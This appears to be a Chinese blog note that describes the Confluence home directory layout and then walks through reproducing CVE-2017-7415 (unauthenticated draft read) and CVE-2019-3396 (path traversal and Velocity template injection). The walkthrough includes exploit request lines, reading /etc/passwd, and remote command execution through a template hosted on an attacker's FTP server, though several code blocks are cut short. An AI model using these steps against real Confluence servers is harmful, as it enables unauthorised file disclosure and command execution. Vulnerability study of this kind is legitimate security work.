Atlassian主要有5款产品,分别面向不同的市场。
JIRA(项目、任务管理软件,2002年上线)、Confluence(企业知识管理与协同软件,2004年上线)、BitBucket(代码库,2010年上线)、HipChat(内部聊天/协作软件,2012年上线)以及JIRA Service Desk(服务台软件,2013年上线)。
JIRA被业界公认为最好的项目管理和敏捷开发管理工具
Confluence被认为是最好用的企业级Wiki和知识管理工具Confluence的Home目录是Confluence存储其配置信息、搜索索引和附件的目录。 “Home目录”也叫“数据目录”。
Atlassian Confluence
其他文件及目录的介绍:
confluence.cfg.xml
: 包含confluence的各种属性。attachments/
: confluence上的所有附件都存在这里。如果想要更改,可以编辑confluence.cfg.xml文件的这个属性attachments.dirbackups/
: 每日自动备份(或手动备份)的内容会存放在这里,文件名大概是:daily-backup-YYYY_MM_DD.zip这个样子。想要更改这个位置,可以编辑confluence.cfg.xml的这个属性daily.backup.dir。bundled-plugins/
: 每次confluence重启的时候,都会重新从数据库中读取。所以,删除这个目录下的文件并不能卸载这个插件!database/
: 如果使用外部数据库,比如mysql,就不会用到这个目录。index/
: 应用程序大量使用Confluence索引进行内容搜索和最近更新的列表,这对于正在运行的Confluence实例至关重要。 如果此目录中的数据丢失或损坏,可以通过从Confluence中运行完整重新索引来恢复它。 此过程可能需要很长时间,具体取决于Confluence数据库存储的数据量journal/
: [暂时不太清楚]logs/
: confluence的应用日志。plugin-cache/
: Confluence所有的插件都存放在数据库中,但为了能快速访问插件JARs中的类,于是把插件缓存到了这个目录下。当系统安装或者卸载插件的时候会更新这个目录。每次confluence重启的时候,都会重新从数据库中读取。所以,删除这个目录下的文件并不能卸载这个插件!temp/
: 用于一些运行时的功能,比如exporting, importing, file upload and indexing。此目录中的文件是临时文件,可在Confluence关闭时被安全地删除。 Confluence中的daily job会删除不再需要的文件。也可以在confluence.cfg.xml文件中定义不同的temp目录,然后在webwork.multipart.saveDir属性中设置新的值thumbnails/
: 存放图片文件的缩略图。shared-home/
: 某些功能的缓存文件,比如Office文件以及PDF预览也放在这个目录下。也用于迁移到Data Center,。
Atlassian Confluence未授权信息泄露(低版本)(CVE-2017-7415)
漏洞危害:
Atlassian Confluence 6.0.7之前的6.x版本中存在安全漏洞。远程攻击者可利用该漏洞绕过身份验证,读取任意日志或页面。
影响范围:
6.0.0 <= version < 6.0.7
需要登陆的网页
1 | http://cqq.com:8090/pages/viewpage.action?pageId=65546 |
存在tinymce富文本编辑器,其中/rest/tinymce/1/content
允许匿名访问,无需登录。
1 | http://cqq.com:8090/rest/tinymce/1/content/65546/draft/diff |
Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)
Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。
详情:
服务端模版注入(Server-side Template Injection,SSTI),影响组件Widget Connector(小工具连接器)。
影响版本:
6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本
影响组件:
Widget Connector <=3.1.3
漏洞复现
1.钟馗之眼批量
2.burp漏洞验证
1 | POST /rest/tinymce/1/macro/preview HTTP/1.1 |
6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd
来读取文件,也可以通过https://...
来加载远程文件。
该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:
RCE
1.ftp开启(python的pyftpdlib貌似只能在局域网开ftp)
1 | pip install pyftpdlib |
2.command.rm放在vps上
1 | #set ($exp="exp") |
3.命令执行
1 | POST /rest/tinymce/1/macro/preview HTTP/1.1 |